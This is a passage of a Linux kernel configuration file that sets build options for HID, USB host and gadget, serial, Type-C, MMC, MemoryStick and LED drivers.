# CONFIG_SND_SOC_WM8961 is not set
# CONFIG_SND_SOC_WM8962 is not set
# CONFIG_SND_SOC_WM8974 is not set
# CONFIG_SND_SOC_WM8978 is not set
# CONFIG_SND_SOC_WM8985 is not set
# CONFIG_SND_SOC_WSA881X is not set
# CONFIG_SND_SOC_WSA883X is not set
# CONFIG_SND_SOC_WSA884X is not set
# CONFIG_SND_SOC_WSA885X is not set
# CONFIG_SND_SOC_ZL38060 is not set
# CONFIG_SND_SOC_MAX9759 is not set
# CONFIG_SND_SOC_MT6351 is not set
# CONFIG_SND_SOC_MT6357 is not set
# CONFIG_SND_SOC_MT6358 is not set
# CONFIG_SND_SOC_MT6660 is not set
# CONFIG_SND_SOC_NAU8315 is not set
# CONFIG_SND_SOC_NAU8325 is not set
# CONFIG_SND_SOC_NAU8540 is not set
# CONFIG_SND_SOC_NAU8810 is not set
# CONFIG_SND_SOC_NAU8821 is not set
# CONFIG_SND_SOC_NAU8822 is not set
# CONFIG_SND_SOC_NAU8824 is not set
# CONFIG_SND_SOC_NTP8918 is not set
# CONFIG_SND_SOC_NTP8835 is not set
# CONFIG_SND_SOC_TPA6130A2 is not set
# CONFIG_SND_SOC_LPASS_WSA_MACRO is not set
# CONFIG_SND_SOC_LPASS_VA_MACRO is not set
# CONFIG_SND_SOC_LPASS_RX_MACRO is not set
# CONFIG_SND_SOC_LPASS_TX_MACRO is not set
# end of CODEC drivers

#
# Generic drivers
#
# CONFIG_SND_SIMPLE_CARD is not set
# CONFIG_SND_AUDIO_GRAPH_CARD is not set
# CONFIG_SND_AUDIO_GRAPH_CARD2 is not set
# CONFIG_SND_TEST_COMPONENT is not set
# end of Generic drivers

CONFIG_SND_X86=y
# CONFIG_HDMI_LPE_AUDIO is not set
CONFIG_SND_VIRTIO=y
CONFIG_HID_SUPPORT=y
CONFIG_HID=y
CONFIG_HID_BATTERY_STRENGTH=y
CONFIG_HIDRAW=y
CONFIG_UHID=y
CONFIG_HID_GENERIC=y
CONFIG_HID_HAPTIC=y

#
# Special HID drivers
#
CONFIG_HID_A4TECH=y
CONFIG_HID_ACCUTOUCH=y
CONFIG_HID_ACRUX=y
CONFIG_HID_ACRUX_FF=y
CONFIG_HID_APPLE=y
CONFIG_HID_APPLEIR=y
# CONFIG_HID_APPLETB_BL is not set
# CONFIG_HID_APPLETB_KBD is not set
CONFIG_HID_ASUS=y
CONFIG_HID_AUREAL=y
CONFIG_HID_BELKIN=y
CONFIG_HID_BETOP_FF=y
CONFIG_HID_BIGBEN_FF=y
CONFIG_HID_CHERRY=y
CONFIG_HID_CHICONY=y
CONFIG_HID_CORSAIR=y
CONFIG_HID_COUGAR=y
CONFIG_HID_MACALLY=y
CONFIG_HID_PRODIKEYS=y
CONFIG_HID_CMEDIA=y
CONFIG_HID_CP2112=y
CONFIG_HID_CREATIVE_SB0540=y
CONFIG_HID_CYPRESS=y
CONFIG_HID_DRAGONRISE=y
CONFIG_DRAGONRISE_FF=y
CONFIG_HID_EMS_FF=y
CONFIG_HID_ELAN=y
CONFIG_HID_ELECOM=y
CONFIG_HID_ELO=y
CONFIG_HID_EVISION=y
CONFIG_HID_EZKEY=y
CONFIG_HID_FT260=y
CONFIG_HID_GEMBIRD=y
CONFIG_HID_GFRM=y
CONFIG_HID_GLORIOUS=y
CONFIG_HID_HOLTEK=y
CONFIG_HOLTEK_FF=y
# CONFIG_HID_HYPERX is not set
CONFIG_HID_VIVALDI_COMMON=y
# CONFIG_HID_GOODIX_SPI is not set
CONFIG_HID_GOOGLE_STADIA_FF=y
CONFIG_HID_VIVALDI=y
CONFIG_HID_GT683R=y
# CONFIG_HID_MSI is not set
CONFIG_HID_KEYTOUCH=y
CONFIG_HID_KYE=y
# CONFIG_HID_KYSONA is not set
CONFIG_HID_UCLOGIC=y
CONFIG_HID_WALTOP=y
CONFIG_HID_VIEWSONIC=y
CONFIG_HID_VRC2=y
CONFIG_HID_XIAOMI=y
CONFIG_HID_GYRATION=y
CONFIG_HID_ICADE=y
CONFIG_HID_ITE=y
CONFIG_HID_JABRA=y
CONFIG_HID_TWINHAN=y
CONFIG_HID_KENSINGTON=y
CONFIG_HID_LCPOWER=y
CONFIG_HID_LED=y
CONFIG_HID_LENOVO=y
# CONFIG_HID_LENOVO_GO is not set
# CONFIG_HID_LENOVO_GO_S is not set
CONFIG_HID_LETSKETCH=y
CONFIG_HID_LOGITECH=y
CONFIG_HID_LOGITECH_DJ=y
CONFIG_HID_LOGITECH_HIDPP=y
CONFIG_LOGITECH_FF=y
CONFIG_LOGIRUMBLEPAD2_FF=y
CONFIG_LOGIG940_FF=y
CONFIG_LOGIWHEELS_FF=y
CONFIG_HID_MAGICMOUSE=y
CONFIG_HID_MALTRON=y
CONFIG_HID_MAYFLASH=y
CONFIG_HID_MEGAWORLD_FF=y
# CONFIG_HID_RAKK is not set
CONFIG_HID_REDRAGON=y
CONFIG_HID_MICROSOFT=y
CONFIG_HID_MONTEREY=y
CONFIG_HID_MULTITOUCH=y
CONFIG_HID_NINTENDO=y
CONFIG_NINTENDO_FF=y
CONFIG_HID_NTI=y
CONFIG_HID_NTRIG=y
CONFIG_HID_NVIDIA_SHIELD=y
CONFIG_NVIDIA_SHIELD_FF=y
CONFIG_HID_ORTEK=y
# CONFIG_HID_OXP is not set
CONFIG_HID_PANTHERLORD=y
CONFIG_PANTHERLORD_FF=y
CONFIG_HID_PENMOUNT=y
CONFIG_HID_PETALYNX=y
CONFIG_HID_PICOLCD=y
CONFIG_HID_PICOLCD_FB=y
CONFIG_HID_PICOLCD_BACKLIGHT=y
CONFIG_HID_PICOLCD_LCD=y
CONFIG_HID_PICOLCD_LEDS=y
CONFIG_HID_PICOLCD_CIR=y
CONFIG_HID_PLANTRONICS=y
CONFIG_HID_PLAYSTATION=y
CONFIG_PLAYSTATION_FF=y
CONFIG_HID_PXRC=y
# CONFIG_HID_RAPOO is not set
CONFIG_HID_RAZER=y
CONFIG_HID_PRIMAX=y
CONFIG_HID_RETRODE=y
CONFIG_HID_ROCCAT=y
CONFIG_HID_SAITEK=y
CONFIG_HID_SAMSUNG=y
CONFIG_HID_SEMITEK=y
CONFIG_HID_SIGMAMICRO=y
CONFIG_HID_SONY=y
CONFIG_SONY_FF=y
CONFIG_HID_SPEEDLINK=y
CONFIG_HID_STEAM=y
CONFIG_STEAM_FF=y
CONFIG_HID_STEELSERIES=y
CONFIG_HID_SUNPLUS=y
CONFIG_HID_RMI=y
CONFIG_HID_GREENASIA=y
CONFIG_GREENASIA_FF=y
CONFIG_HID_SMARTJOYPLUS=y
CONFIG_SMARTJOYPLUS_FF=y
CONFIG_HID_TIVO=y
CONFIG_HID_TOPSEED=y
CONFIG_HID_TOPRE=y
CONFIG_HID_THINGM=y
CONFIG_HID_THRUSTMASTER=y
CONFIG_THRUSTMASTER_FF=y
CONFIG_HID_UDRAW_PS3=y
CONFIG_HID_U2FZERO=y
# CONFIG_HID_UNIVERSAL_PIDFF is not set
CONFIG_HID_WACOM=y
CONFIG_HID_WIIMOTE=y
# CONFIG_HID_WINWING is not set
CONFIG_HID_XINMO=y
CONFIG_HID_ZEROPLUS=y
CONFIG_ZEROPLUS_FF=y
CONFIG_HID_ZYDACRON=y
CONFIG_HID_SENSOR_HUB=y
CONFIG_HID_SENSOR_CUSTOM_SENSOR=y
CONFIG_HID_ALPS=y
CONFIG_HID_MCP2200=y
CONFIG_HID_MCP2221=y
CONFIG_HID_HUAWEI=y
# end of Special HID drivers

#
# HID-BPF support
#
# end of HID-BPF support

CONFIG_I2C_HID=y
CONFIG_I2C_HID_ACPI=y
CONFIG_I2C_HID_OF=y
# CONFIG_I2C_HID_OF_ELAN is not set
# CONFIG_I2C_HID_OF_GOODIX is not set
CONFIG_I2C_HID_CORE=y

#
# Intel ISH HID support
#
CONFIG_INTEL_ISH_HID=y
CONFIG_INTEL_ISH_FIRMWARE_DOWNLOADER=y
# end of Intel ISH HID support

#
# AMD SFH HID Support
#
CONFIG_AMD_SFH_HID=y
# end of AMD SFH HID Support

#
# Surface System Aggregator Module HID support
#
CONFIG_SURFACE_HID=y
CONFIG_SURFACE_KBD=y
# end of Surface System Aggregator Module HID support

CONFIG_SURFACE_HID_CORE=y

#
# Intel THC HID Support
#
# CONFIG_INTEL_THC_HID is not set
# end of Intel THC HID Support

#
# USB HID support
#
CONFIG_USB_HID=y
CONFIG_HID_PID=y
CONFIG_USB_HIDDEV=y
# end of USB HID support

CONFIG_USB_OHCI_LITTLE_ENDIAN=y
CONFIG_USB_SUPPORT=y
CONFIG_USB_COMMON=y
CONFIG_USB_LED_TRIG=y
CONFIG_USB_ULPI_BUS=y
CONFIG_USB_CONN_GPIO=y
CONFIG_USB_ARCH_HAS_HCD=y
CONFIG_USB=y
CONFIG_USB_PCI=y
CONFIG_USB_PCI_AMD=y
CONFIG_USB_ANNOUNCE_NEW_DEVICES=y

#
# Miscellaneous USB options
#
CONFIG_USB_DEFAULT_PERSIST=y
CONFIG_USB_FEW_INIT_RETRIES=y
CONFIG_USB_DYNAMIC_MINORS=y
CONFIG_USB_OTG=y
# CONFIG_USB_OTG_PRODUCTLIST is not set
# CONFIG_USB_OTG_DISABLE_EXTERNAL_HUB is not set
CONFIG_USB_OTG_FSM=y
CONFIG_USB_LEDS_TRIGGER_USBPORT=y
CONFIG_USB_AUTOSUSPEND_DELAY=2
CONFIG_USB_DEFAULT_AUTHORIZATION_MODE=1
CONFIG_USB_MON=y

#
# USB Host Controller Drivers
#
CONFIG_USB_C67X00_HCD=y
CONFIG_USB_XHCI_HCD=y
CONFIG_USB_XHCI_DBGCAP=y
CONFIG_USB_XHCI_PCI=y
CONFIG_USB_XHCI_PCI_RENESAS=y
CONFIG_USB_XHCI_PLATFORM=y
# CONFIG_USB_XHCI_SIDEBAND is not set
CONFIG_USB_EHCI_HCD=y
CONFIG_USB_EHCI_ROOT_HUB_TT=y
CONFIG_USB_EHCI_TT_NEWSCHED=y
CONFIG_USB_EHCI_PCI=y
CONFIG_USB_EHCI_FSL=y
CONFIG_USB_EHCI_HCD_PLATFORM=y
CONFIG_USB_OXU210HP_HCD=y
CONFIG_USB_ISP116X_HCD=y
CONFIG_USB_MAX3421_HCD=y
CONFIG_USB_OHCI_HCD=y
CONFIG_USB_OHCI_HCD_PCI=y
# CONFIG_USB_OHCI_HCD_SSB is not set
CONFIG_USB_OHCI_HCD_PLATFORM=y
CONFIG_USB_UHCI_HCD=y
CONFIG_USB_SL811_HCD=y
CONFIG_USB_SL811_HCD_ISO=y
CONFIG_USB_SL811_CS=y
CONFIG_USB_R8A66597_HCD=y
CONFIG_USB_HCD_BCMA=y
CONFIG_USB_HCD_SSB=y
# CONFIG_USB_HCD_TEST_MODE is not set

#
# USB Device Class drivers
#
CONFIG_USB_ACM=y
CONFIG_USB_PRINTER=y
CONFIG_USB_WDM=y
CONFIG_USB_TMC=y

#
# NOTE: USB_STORAGE depends on SCSI but BLK_DEV_SD may also be needed; see USB_STORAGE Help for more info
#
CONFIG_USB_STORAGE=y
# CONFIG_USB_STORAGE_DEBUG is not set
CONFIG_USB_STORAGE_REALTEK=y
CONFIG_REALTEK_AUTOPM=y
CONFIG_USB_STORAGE_DATAFAB=y
CONFIG_USB_STORAGE_FREECOM=y
CONFIG_USB_STORAGE_ISD200=y
CONFIG_USB_STORAGE_USBAT=y
CONFIG_USB_STORAGE_SDDR09=y
CONFIG_USB_STORAGE_SDDR55=y
CONFIG_USB_STORAGE_JUMPSHOT=y
CONFIG_USB_STORAGE_ALAUDA=y
CONFIG_USB_STORAGE_ONETOUCH=y
CONFIG_USB_STORAGE_KARMA=y
CONFIG_USB_STORAGE_CYPRESS_ATACB=y
CONFIG_USB_STORAGE_ENE_UB6250=y
CONFIG_USB_UAS=y

#
# USB Imaging devices
#
CONFIG_USB_MDC800=y
CONFIG_USB_MICROTEK=y
CONFIG_USBIP_CORE=y
CONFIG_USBIP_VHCI_HCD=y
CONFIG_USBIP_VHCI_HC_PORTS=8
CONFIG_USBIP_VHCI_NR_HCS=16
CONFIG_USBIP_HOST=y
CONFIG_USBIP_VUDC=y
# CONFIG_USBIP_DEBUG is not set

#
# USB dual-mode controller drivers
#
CONFIG_USB_CDNS_SUPPORT=y
CONFIG_USB_CDNS3=y
CONFIG_USB_CDNS3_HOST=y
CONFIG_USB_CDNS3_GADGET=y

#
# Platform glue driver support
#
CONFIG_USB_CDNS3_PCI_WRAP=y
CONFIG_USB_CDNSP_PCI=y
CONFIG_USB_MUSB_HDRC=y
# CONFIG_USB_MUSB_HOST is not set
# CONFIG_USB_MUSB_GADGET is not set
CONFIG_USB_MUSB_DUAL_ROLE=y

#
# Platform Glue Layer
#

#
# MUSB DMA mode
#
CONFIG_MUSB_PIO_ONLY=y
CONFIG_USB_DWC3=y
CONFIG_USB_DWC3_ULPI=y
# CONFIG_USB_DWC3_HOST is not set
CONFIG_USB_DWC3_GADGET=y
# CONFIG_USB_DWC3_DUAL_ROLE is not set

#
# Platform Glue Driver Support
#
CONFIG_USB_DWC3_PCI=y
CONFIG_USB_DWC3_HAPS=y
CONFIG_USB_DWC3_OF_SIMPLE=y
CONFIG_USB_DWC3_GENERIC_PLAT=y
# CONFIG_USB_DWC3_GOOGLE is not set
CONFIG_USB_DWC2=y
CONFIG_USB_DWC2_HOST=y

#
# Gadget/Dual-role mode requires USB Gadget support to be enabled
#
# CONFIG_USB_DWC2_PERIPHERAL is not set
# CONFIG_USB_DWC2_DUAL_ROLE is not set
CONFIG_USB_DWC2_PCI=y
# CONFIG_USB_DWC2_DEBUG is not set
# CONFIG_USB_DWC2_TRACK_MISSED_SOFS is not set
CONFIG_USB_CHIPIDEA=y
CONFIG_USB_CHIPIDEA_UDC=y
CONFIG_USB_CHIPIDEA_HOST=y
CONFIG_USB_CHIPIDEA_PCI=y
CONFIG_USB_CHIPIDEA_MSM=y
CONFIG_USB_CHIPIDEA_NPCM=y
# CONFIG_USB_CHIPIDEA_IMX is not set
CONFIG_USB_CHIPIDEA_GENERIC=y
# CONFIG_USB_CHIPIDEA_TEGRA is not set
CONFIG_USB_ISP1760=y
CONFIG_USB_ISP1760_HCD=y
CONFIG_USB_ISP1761_UDC=y
# CONFIG_USB_ISP1760_HOST_ROLE is not set
# CONFIG_USB_ISP1760_GADGET_ROLE is not set
CONFIG_USB_ISP1760_DUAL_ROLE=y

#
# USB port drivers
#
CONFIG_USB_SERIAL=y
CONFIG_USB_SERIAL_CONSOLE=y
CONFIG_USB_SERIAL_GENERIC=y
CONFIG_USB_SERIAL_SIMPLE=y
CONFIG_USB_SERIAL_AIRCABLE=y
CONFIG_USB_SERIAL_ARK3116=y
CONFIG_USB_SERIAL_BELKIN=y
CONFIG_USB_SERIAL_CH341=y
CONFIG_USB_SERIAL_WHITEHEAT=y
CONFIG_USB_SERIAL_DIGI_ACCELEPORT=y
CONFIG_USB_SERIAL_CP210X=y
CONFIG_USB_SERIAL_CYPRESS_M8=y
CONFIG_USB_SERIAL_EMPEG=y
CONFIG_USB_SERIAL_FTDI_SIO=y
CONFIG_USB_SERIAL_VISOR=y
CONFIG_USB_SERIAL_IPAQ=y
CONFIG_USB_SERIAL_IR=y
CONFIG_USB_SERIAL_EDGEPORT=y
CONFIG_USB_SERIAL_EDGEPORT_TI=y
CONFIG_USB_SERIAL_F81232=y
CONFIG_USB_SERIAL_F8153X=y
CONFIG_USB_SERIAL_GARMIN=y
CONFIG_USB_SERIAL_IPW=y
CONFIG_USB_SERIAL_IUU=y
CONFIG_USB_SERIAL_KEYSPAN_PDA=y
CONFIG_USB_SERIAL_KEYSPAN=y
CONFIG_USB_SERIAL_KLSI=y
CONFIG_USB_SERIAL_KOBIL_SCT=y
CONFIG_USB_SERIAL_MCT_U232=y
CONFIG_USB_SERIAL_METRO=y
CONFIG_USB_SERIAL_MOS7720=y
CONFIG_USB_SERIAL_MOS7715_PARPORT=y
CONFIG_USB_SERIAL_MOS7840=y
CONFIG_USB_SERIAL_MXUPORT=y
CONFIG_USB_SERIAL_NAVMAN=y
CONFIG_USB_SERIAL_PL2303=y
CONFIG_USB_SERIAL_OTI6858=y
CONFIG_USB_SERIAL_QCAUX=y
CONFIG_USB_SERIAL_QUALCOMM=y
CONFIG_USB_SERIAL_SPCP8X5=y
CONFIG_USB_SERIAL_SAFE=y
# CONFIG_USB_SERIAL_SAFE_PADDED is not set
CONFIG_USB_SERIAL_SIERRAWIRELESS=y
CONFIG_USB_SERIAL_SYMBOL=y
CONFIG_USB_SERIAL_TI=y
CONFIG_USB_SERIAL_CYBERJACK=y
CONFIG_USB_SERIAL_WWAN=y
CONFIG_USB_SERIAL_OPTION=y
CONFIG_USB_SERIAL_OMNINET=y
CONFIG_USB_SERIAL_OPTICON=y
CONFIG_USB_SERIAL_XSENS_MT=y
CONFIG_USB_SERIAL_WISHBONE=y
CONFIG_USB_SERIAL_SSU100=y
CONFIG_USB_SERIAL_QT2=y
CONFIG_USB_SERIAL_UPD78F0730=y
CONFIG_USB_SERIAL_XR=y
CONFIG_USB_SERIAL_DEBUG=y

#
# USB Miscellaneous drivers
#
CONFIG_USB_USS720=y
CONFIG_USB_EMI62=y
CONFIG_USB_EMI26=y
CONFIG_USB_ADUTUX=y
CONFIG_USB_SEVSEG=y
CONFIG_USB_LEGOTOWER=y
CONFIG_USB_LCD=y
CONFIG_USB_CYPRESS_CY7C63=y
CONFIG_USB_CYTHERM=y
CONFIG_USB_IDMOUSE=y
CONFIG_USB_APPLEDISPLAY=y
CONFIG_APPLE_MFI_FASTCHARGE=y
CONFIG_USB_LJCA=y
# CONFIG_USB_USBIO is not set
CONFIG_USB_SISUSBVGA=y
CONFIG_USB_LD=y
CONFIG_USB_TRANCEVIBRATOR=y
CONFIG_USB_IOWARRIOR=y
CONFIG_USB_TEST=y
CONFIG_USB_EHSET_TEST_FIXTURE=y
CONFIG_USB_ISIGHTFW=y
CONFIG_USB_YUREX=y
CONFIG_USB_EZUSB_FX2=y
CONFIG_USB_HUB_USB251XB=y
CONFIG_USB_HSIC_USB3503=y
CONFIG_USB_HSIC_USB4604=y
CONFIG_USB_LINK_LAYER_TEST=y
CONFIG_USB_CHAOSKEY=y
# CONFIG_USB_ONBOARD_DEV is not set
CONFIG_USB_ATM=y
CONFIG_USB_SPEEDTOUCH=y
CONFIG_USB_CXACRU=y
CONFIG_USB_UEAGLEATM=y
CONFIG_USB_XUSBATM=y

#
# USB Physical Layer drivers
#
CONFIG_USB_PHY=y
CONFIG_NOP_USB_XCEIV=y
CONFIG_TAHVO_USB=y
CONFIG_TAHVO_USB_HOST_BY_DEFAULT=y
CONFIG_USB_ISP1301=y
# end of USB Physical Layer drivers

CONFIG_USB_GADGET=y
# CONFIG_USB_GADGET_DEBUG is not set
CONFIG_USB_GADGET_DEBUG_FILES=y
CONFIG_USB_GADGET_DEBUG_FS=y
CONFIG_USB_GADGET_VBUS_DRAW=2
CONFIG_USB_GADGET_STORAGE_NUM_BUFFERS=2
CONFIG_U_SERIAL_CONSOLE=y

#
# USB Peripheral Controller
#
CONFIG_USB_GR_UDC=y
CONFIG_USB_R8A66597=y
CONFIG_USB_PXA27X=y
CONFIG_USB_SNP_CORE=y
# CONFIG_USB_SNP_UDC_PLAT is not set
# CONFIG_USB_M66592 is not set
CONFIG_USB_BDC_UDC=y
CONFIG_USB_AMD5536UDC=y
CONFIG_USB_NET2280=y
CONFIG_USB_GOKU=y
CONFIG_USB_EG20T=y
# CONFIG_USB_GADGET_XILINX is not set
CONFIG_USB_MAX3420_UDC=y
CONFIG_USB_CDNS2_UDC=y
CONFIG_USB_DUMMY_HCD=y
# end of USB Peripheral Controller

CONFIG_USB_LIBCOMPOSITE=y
CONFIG_USB_F_ACM=y
CONFIG_USB_F_SS_LB=y
CONFIG_USB_U_SERIAL=y
CONFIG_USB_U_ETHER=y
CONFIG_USB_U_AUDIO=y
CONFIG_USB_F_SERIAL=y
CONFIG_USB_F_OBEX=y
CONFIG_USB_F_NCM=y
CONFIG_USB_F_ECM=y
CONFIG_USB_F_PHONET=y
CONFIG_USB_F_EEM=y
CONFIG_USB_F_SUBSET=y
CONFIG_USB_F_RNDIS=y
CONFIG_USB_F_MASS_STORAGE=y
CONFIG_USB_F_FS=y
CONFIG_USB_F_UAC1=y
CONFIG_USB_F_UAC1_LEGACY=y
CONFIG_USB_F_UAC2=y
CONFIG_USB_F_UVC=y
CONFIG_USB_F_MIDI=y
CONFIG_USB_F_MIDI2=y
CONFIG_USB_F_HID=y
CONFIG_USB_F_PRINTER=y
CONFIG_USB_F_TCM=y
CONFIG_USB_CONFIGFS=y
CONFIG_USB_CONFIGFS_SERIAL=y
CONFIG_USB_CONFIGFS_ACM=y
CONFIG_USB_CONFIGFS_OBEX=y
CONFIG_USB_CONFIGFS_NCM=y
CONFIG_USB_CONFIGFS_ECM=y
CONFIG_USB_CONFIGFS_ECM_SUBSET=y
CONFIG_USB_CONFIGFS_RNDIS=y
CONFIG_USB_CONFIGFS_EEM=y
CONFIG_USB_CONFIGFS_PHONET=y
CONFIG_USB_CONFIGFS_MASS_STORAGE=y
CONFIG_USB_CONFIGFS_F_LB_SS=y
CONFIG_USB_CONFIGFS_F_FS=y
CONFIG_USB_CONFIGFS_F_UAC1=y
CONFIG_USB_CONFIGFS_F_UAC1_LEGACY=y
CONFIG_USB_CONFIGFS_F_UAC2=y
CONFIG_USB_CONFIGFS_F_MIDI=y
CONFIG_USB_CONFIGFS_F_MIDI2=y
CONFIG_USB_CONFIGFS_F_HID=y
CONFIG_USB_CONFIGFS_F_UVC=y
CONFIG_USB_CONFIGFS_F_PRINTER=y
CONFIG_USB_CONFIGFS_F_TCM=y

#
# USB Gadget precomposed configurations
#
# CONFIG_USB_ZERO is not set
# CONFIG_USB_AUDIO is not set
# CONFIG_USB_ETH is not set
# CONFIG_USB_G_NCM is not set
CONFIG_USB_GADGETFS=y
# CONFIG_USB_FUNCTIONFS is not set
# CONFIG_USB_MASS_STORAGE is not set
# CONFIG_USB_GADGET_TARGET is not set
# CONFIG_USB_G_SERIAL is not set
# CONFIG_USB_MIDI_GADGET is not set
# CONFIG_USB_G_PRINTER is not set
# CONFIG_USB_CDC_COMPOSITE is not set
# CONFIG_USB_G_NOKIA is not set
# CONFIG_USB_G_ACM_MS is not set
# CONFIG_USB_G_MULTI is not set
# CONFIG_USB_G_HID is not set
# CONFIG_USB_G_DBGP is not set
# CONFIG_USB_G_WEBCAM is not set
CONFIG_USB_RAW_GADGET=y
# end of USB Gadget precomposed configurations

CONFIG_TYPEC=y
CONFIG_TYPEC_TCPM=y
CONFIG_TYPEC_TCPCI=y
CONFIG_TYPEC_RT1711H=y
CONFIG_TYPEC_MT6360=y
CONFIG_TYPEC_TCPCI_MT6370=y
CONFIG_TYPEC_TCPCI_MAXIM=y
CONFIG_TYPEC_FUSB302=y
CONFIG_TYPEC_WCOVE=y
CONFIG_TYPEC_UCSI=y
CONFIG_UCSI_CCG=y
CONFIG_UCSI_ACPI=y
CONFIG_UCSI_STM32G0=y
CONFIG_TYPEC_TPS6598X=y
CONFIG_TYPEC_ANX7411=y
CONFIG_TYPEC_RT1719=y
CONFIG_TYPEC_HD3SS3220=y
CONFIG_TYPEC_STUSB160X=y
CONFIG_TYPEC_WUSB3801=y

#
# USB Type-C Multiplexer/DeMultiplexer Switch support
#
CONFIG_TYPEC_MUX_FSA4480=y
CONFIG_TYPEC_MUX_GPIO_SBU=y
CONFIG_TYPEC_MUX_PI3USB30532=y
CONFIG_TYPEC_MUX_INTEL_PMC=y
# CONFIG_TYPEC_MUX_IT5205 is not set
CONFIG_TYPEC_MUX_NB7VPQ904M=y
# CONFIG_TYPEC_MUX_PS883X is not set
CONFIG_TYPEC_MUX_PTN36502=y
# CONFIG_TYPEC_MUX_TUSB1046 is not set
CONFIG_TYPEC_MUX_WCD939X_USBSS=y
# end of USB Type-C Multiplexer/DeMultiplexer Switch support

#
# USB Type-C Alternate Mode drivers
#
CONFIG_TYPEC_DP_ALTMODE=y
CONFIG_TYPEC_NVIDIA_ALTMODE=y
# CONFIG_TYPEC_TBT_ALTMODE is not set
# end of USB Type-C Alternate Mode drivers

CONFIG_USB_ROLE_SWITCH=y
CONFIG_USB_ROLES_INTEL_XHCI=y
CONFIG_MMC=y
# CONFIG_PWRSEQ_EMMC is not set
# CONFIG_PWRSEQ_SD8787 is not set
# CONFIG_PWRSEQ_SIMPLE is not set
# CONFIG_MMC_BLOCK is not set
# CONFIG_SDIO_UART is not set
# CONFIG_MMC_TEST is not set
# CONFIG_MMC_CRYPTO is not set

#
# MMC/SD/SDIO Host Controller Drivers
#
# CONFIG_MMC_DEBUG is not set
# CONFIG_MMC_SDHCI is not set
# CONFIG_MMC_WBSD is not set
# CONFIG_MMC_TIFM_SD is not set
# CONFIG_MMC_SPI is not set
# CONFIG_MMC_SDRICOH_CS is not set
# CONFIG_MMC_CB710 is not set
# CONFIG_MMC_VIA_SDMMC is not set
CONFIG_MMC_VUB300=y
CONFIG_MMC_USHC=y
# CONFIG_MMC_USDHI6ROL0 is not set
CONFIG_MMC_REALTEK_USB=y
# CONFIG_MMC_CQHCI is not set
# CONFIG_MMC_HSQ is not set
# CONFIG_MMC_TOSHIBA_PCI is not set
# CONFIG_MMC_MTK is not set
# CONFIG_SCSI_UFSHCD is not set
CONFIG_MEMSTICK=y
# CONFIG_MEMSTICK_DEBUG is not set

#
# MemoryStick drivers
#
# CONFIG_MEMSTICK_UNSAFE_RESUME is not set
# CONFIG_MSPRO_BLOCK is not set
# CONFIG_MS_BLOCK is not set

#
# MemoryStick Host Controller Drivers
#
# CONFIG_MEMSTICK_TIFM_MS is not set
# CONFIG_MEMSTICK_JMICRON_38X is not set
# CONFIG_MEMSTICK_R592 is not set
CONFIG_MEMSTICK_REALTEK_USB=y
CONFIG_NEW_LEDS=y
CONFIG_LEDS_CLASS=y
# CONFIG_LEDS_CLASS_FLASH is not set
CONFIG_LEDS_CLASS_MULTICOLOR=y
# CONFIG_LEDS_BRIGHTNESS_HW_CHANGED is not set

#
# LED drivers
#
# CONFIG_LEDS_AN30259A is not set
# CONFIG_LEDS_APU is not set
# CONFIG_LEDS_OSRAM_AMS_AS3668 is not set
# CONFIG_LEDS_AW200XX is not set
# CONFIG_LEDS_AW2013 is not set
# CONFIG_LEDS_BCM6328 is not set
# CONFIG_LEDS_BCM6358 is not set
# CONFIG_LEDS_CHT_WCOVE is not set
# CONFIG_LEDS_CR0014114 is not set
# CONFIG_LEDS_EL15203000 is not set
# CONFIG_LEDS_LM3530 is not set
# CONFIG_LEDS_LM3532 is not set
# CONFIG_LEDS_LM3642 is not set
# CONFIG_LEDS_LM3692X is not set
# CONFIG_LEDS_PCA9532 is not set
# CONFIG_LEDS_GPIO is not set
# CONFIG_LEDS_LP3944 is not set
# CONFIG_LEDS_LP3952 is not set
# CONFIG_LEDS_LP50XX is not set
# CONFIG_LEDS_LP55XX_COMMON is not set
# CONFIG_LEDS_LP8860 is not set
# CONFIG_LEDS_LP8864 is not set
# CONFIG_LEDS_PCA955X is not set
# CONFIG_LEDS_PCA963X is not set
# CONFIG_LEDS_PCA995X is not set
# CONFIG_LEDS_DAC124S085 is not set
# CONFIG_LEDS_REGULATOR is not set
# CONFIG_LEDS_BD2606MVV is not set
# CONFIG_LEDS_BD2802 is not set
# CONFIG_LEDS_INTEL_SS4200 is not set
# CONFIG_LEDS_LT3593 is not set
# CONFIG_LEDS_TCA6507 is not set
# CONFIG_LEDS_TLC591XX is not set
# CONFIG_LEDS_LM355x is not set
# CONFIG_LEDS_IS31FL319X is not set
# CONFIG_LEDS_IS31FL32XX is not set

#
# LED driver for blink(1) USB RGB LED is under Special HID drivers (HID_THINGM)
#
# CONFIG_LEDS_BLINKM is not set
# CONFIG_LEDS_SYSCON is not set
# CONFIG_LEDS_MLXCPLD is not set
# CONFIG_LEDS_MLXREG is not set
# CONFIG_LEDS_USER is not set
# CONFIG_LEDS_NIC78BX is not set
# CONFIG_LEDS_SPI_BYTE is not set
# CONFIG_LEDS_LM3697 is not set
# CONFIG_LEDS_ST1202 is not set
# CONFIG_LEDS_LGM is not set

#
# Flash and Torch LED drivers
#

#
# RGB LED drivers
#
# CONFIG_LEDS_GROUP_MULTICOLOR is not set
# CONFIG_LEDS_KTD202X is not set
# CONFIG_LEDS_LP5812 is not set
# CONFIG_LEDS_LP5860_CORE is not set
# CONFIG_LEDS_LP5860_SPI is not set
# CONFIG_LEDS_NCP5623 is not set
# CONFIG_LEDS_MT6370_RGB is not set

#
# LED Triggers
#
CONFIG_LEDS_TRIGGERS=y
# CONFIG_LEDS_TRIGGER_TIMER is not set
# CONFIG_LEDS_TRIGGER_ONESHOT is not set
# CONFIG_LEDS_TRIGGER_DISK is not set
# CONFIG_LEDS_TRIGGER_MTD is not set
# CONFIG_LEDS_TRIGGER_HEARTBEAT is not set
# CONFIG_LEDS_TRIGGER_BACKLIGHT is not set
# CONFIG_LEDS_TRIGGER_CPU is not set
# CONFIG_LEDS_TRIGGER_ACTIVITY is not set
# CONFIG_LEDS_TRIGGER_GPIO is not set
# CONFIG_LEDS_TRIGGER_DEFAULT_ON is not set

#
# iptables trigger is under Netfilter config (LED target)
#
# CONFIG_LEDS_TRIGGER_TRANSIENT is not set
# CONFIG_LEDS_TRIGGER_CAMERA is not set
# CONFIG_LEDS_TRIGGER_PANIC is not set
# CONFIG_LEDS_TRIGGER_NETDEV is not set
# CONFIG_LEDS_TRIGGER_PATTERN is not set
# CONFIG_LEDS_TRIGGER_TTY is not set
# CONFIG_LEDS_TRIGGER_INPUT_EVENTS is not set

#
# Simatic LED drivers
#
# CONFIG_ACCESSIBILITY is not set
CONFIG_INFINIBAND=y
